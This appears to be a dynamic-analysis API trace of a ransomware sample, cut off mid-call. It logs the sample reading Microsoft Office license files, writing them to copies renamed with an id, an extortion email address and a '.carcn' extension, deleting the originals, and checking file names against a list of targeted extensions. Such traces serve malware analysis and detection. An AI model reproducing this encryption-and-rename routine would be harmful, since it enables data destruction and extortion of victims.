1 [0286.085] WriteFile (in: hFile=0x564, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0286.086] ReadFile (in: hFile=0x550, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.086] WriteFile (in: hFile=0x564, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x124, lpOverlapped=0x0) returned 1 [0286.087] SetEndOfFile (hFile=0x564) returned 1 [0286.087] CloseHandle (hObject=0x564) returned 1 [0286.087] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.087] SetEndOfFile (hFile=0x550) returned 1 [0286.107] CloseHandle (hObject=0x550) returned 1 [0286.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0286.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.436] lstrlenW (lpString=".doc") returned 4 [0286.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".docx") returned 5 [0286.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.436] lstrlenW (lpString=".pdf") returned 4 [0286.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".xls") returned 4 [0286.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".xlsx") returned 5 [0286.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.436] lstrlenW (lpString=".ppt") returned 4 [0286.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.436] lstrlenW (lpString=".zip") returned 4 [0286.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".rar") returned 4 [0286.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".bz2") returned 4 [0286.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.436] lstrlenW (lpString=".7z") returned 3 [0286.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.436] lstrlenW (lpString=".dbf") returned 4 [0286.437] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.437] lstrlenW (lpString=".1cd") returned 4 [0286.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.437] lstrlenW (lpString=".jpg") returned 4 [0286.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.437] lstrlenW (lpString=".doc") returned 4 [0286.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString=".docx") returned 5 [0286.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.437] lstrlenW (lpString=".pdf") returned 4 [0286.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString=".xls") returned 4 [0286.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString=".xlsx") returned 5 [0286.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.437] lstrlenW (lpString=".ppt") returned 4 [0286.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.437] lstrlenW (lpString=".zip") returned 4 [0286.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.437] lstrlenW (lpString=".rar") returned 4 [0286.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.438] lstrlenW (lpString=".bz2") returned 4 [0286.438] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.438] lstrlenW (lpString=".7z") returned 3 [0286.438] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.438] lstrlenW (lpString=".dbf") returned 4 [0286.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.438] lstrlenW (lpString=".1cd") returned 4 [0286.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0286.438] lstrlenW (lpString=".jpg") returned 4 [0286.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.438] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.438] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33 [0286.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.439] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10667) returned 1 [0286.439] CloseHandle (hObject=0x41c) returned 1 [0286.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220 [0286.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.440] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.440] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.441] GetLastError () returned 0x0 [0286.441] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x29ab, lpOverlapped=0x0) returned 1 [0286.455] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0286.456] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.456] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0286.456] SetEndOfFile (hFile=0x540) returned 1 [0286.457] CloseHandle (hObject=0x540) returned 1 [0286.457] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.457] SetEndOfFile (hFile=0x41c) returned 1 [0286.460] CloseHandle (hObject=0x41c) returned 1 [0286.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1 [0286.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.461] lstrlenW (lpString=".doc") returned 4 [0286.461] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.461] lstrlenW (lpString=".docx") returned 5 [0286.461] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.461] lstrlenW (lpString=".pdf") returned 4 [0286.462] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString=".xls") returned 4 [0286.462] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString=".xlsx") returned 5 [0286.462] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.462] lstrlenW (lpString=".ppt") returned 4 [0286.462] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.462] lstrlenW (lpString=".zip") returned 4 [0286.462] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString=".rar") returned 4 [0286.462] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString=".bz2") returned 4 [0286.462] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString=".7z") returned 3 [0286.462] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.462] lstrlenW (lpString=".dbf") returned 4 [0286.462] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.462] lstrlenW (lpString=".1cd") returned 4 [0286.462] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.462] lstrlenW (lpString=".jpg") returned 4 [0286.462] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.463] lstrlenW (lpString=".doc") returned 4 [0286.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".docx") returned 5 [0286.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.463] lstrlenW (lpString=".pdf") returned 4 [0286.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".xls") returned 4 [0286.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".xlsx") returned 5 [0286.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.463] lstrlenW (lpString=".ppt") returned 4 [0286.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.463] lstrlenW (lpString=".zip") returned 4 [0286.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".rar") returned 4 [0286.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".bz2") returned 4 [0286.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString=".7z") returned 3 [0286.463] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.463] lstrlenW (lpString=".dbf") returned 4 [0286.463] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.463] lstrlenW (lpString=".1cd") returned 4 [0286.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83 [0286.464] lstrlenW (lpString=".jpg") returned 4 [0286.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.464] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.464] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 34 [0286.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.465] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=22094) returned 1 [0286.465] CloseHandle (hObject=0x41c) returned 1 [0286.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 0x220 [0286.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.466] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.466] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0286.467] GetLastError () returned 0x0 [0286.467] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x564e, lpOverlapped=0x0) returned 1 [0286.469] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5650, lpOverlapped=0x0) returned 1 [0286.474] ReadFile (in: hFile=0x41c, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.474] WriteFile (in: hFile=0x540, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x118, lpOverlapped=0x0) returned 1 [0286.474] SetEndOfFile (hFile=0x540) returned 1 [0286.474] CloseHandle (hObject=0x540) returned 1 [0286.474] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.474] SetEndOfFile (hFile=0x41c) returned 1 [0286.477] CloseHandle (hObject=0x41c) returned 1 [0286.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ppd.xrm-ms")) returned 1 [0286.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.479] lstrlenW (lpString=".doc") returned 4 [0286.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.479] lstrlenW (lpString=".docx") returned 5 [0286.479] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.479] lstrlenW (lpString=".pdf") returned 4 [0286.479] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.479] lstrlenW (lpString=".xls") returned 4 [0286.479] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.479] lstrlenW (lpString=".xlsx") returned 5 [0286.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.479] lstrlenW (lpString=".ppt") returned 4 [0286.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.479] lstrlenW (lpString=".zip") returned 4 [0286.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.479] lstrlenW (lpString=".rar") returned 4 [0286.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString=".bz2") returned 4 [0286.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString=".7z") returned 3 [0286.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.480] lstrlenW (lpString=".dbf") returned 4 [0286.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.480] lstrlenW (lpString=".1cd") returned 4 [0286.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.480] lstrlenW (lpString=".jpg") returned 4 [0286.480] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.480] lstrlenW (lpString=".doc") returned 4 [0286.480] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString=".docx") returned 5 [0286.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0286.480] lstrlenW (lpString=".pdf") returned 4 [0286.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString=".xls") returned 4 [0286.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0286.480] lstrlenW (lpString=".xlsx") returned 5 [0286.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0286.481] lstrlenW (lpString=".ppt") returned 4 [0286.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.481] lstrlenW (lpString=".zip") returned 4 [0286.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString=".rar") returned 4 [0286.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString=".bz2") returned 4 [0286.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString=".7z") returned 3 [0286.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0286.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.481] lstrlenW (lpString=".dbf") returned 4 [0286.481] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.481] lstrlenW (lpString=".1cd") returned 4 [0286.481] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0286.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned 84 [0286.481] lstrlenW (lpString=".jpg") returned 4 [0286.481] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0286.481] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0286.481] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned 37 [0286.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.482] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11621) returned 1 [0286.482] CloseHandle (hObject=0x41c) returned 1 [0286.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms")) returned 0x220 [0286.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-oob.xrm-ms"), 